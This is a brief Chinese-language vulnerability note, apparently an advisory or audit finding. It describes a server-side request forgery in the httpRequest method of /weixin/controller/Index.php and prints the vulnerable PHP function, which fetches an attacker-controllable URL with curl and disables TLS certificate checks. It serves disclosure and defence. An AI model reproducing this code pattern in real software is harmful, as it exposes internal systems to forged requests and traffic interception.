位于 /weixin/controller/Index.php 控制器的httpRequest方法存在curl_exec函数，且传参url均可控，导致漏洞产生.

//请求数据
public function httpRequest($url,$data = null){
  $curl = curl_init();
  curl_setopt($curl,CURLOPT_URL,$url);
  curl_setopt($curl,CURLOPT_SSL_VERIFYPEER,FALSE);
  curl_setopt($curl,CURLOPT_SSL_VERIFYHOST,FALSE);
  if(!empty($data)){
    curl_setopt($curl,CURLOPT_POST,1);
    curl_setopt($curl,CURLOPT_POSTFIELDS,$data);
  }
  curl_setopt($curl,CURLOPT_RETURNTRANSFER,true);
  curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
  $output = curl_exec($curl);
  curl_close($curl);
  return $output;
}
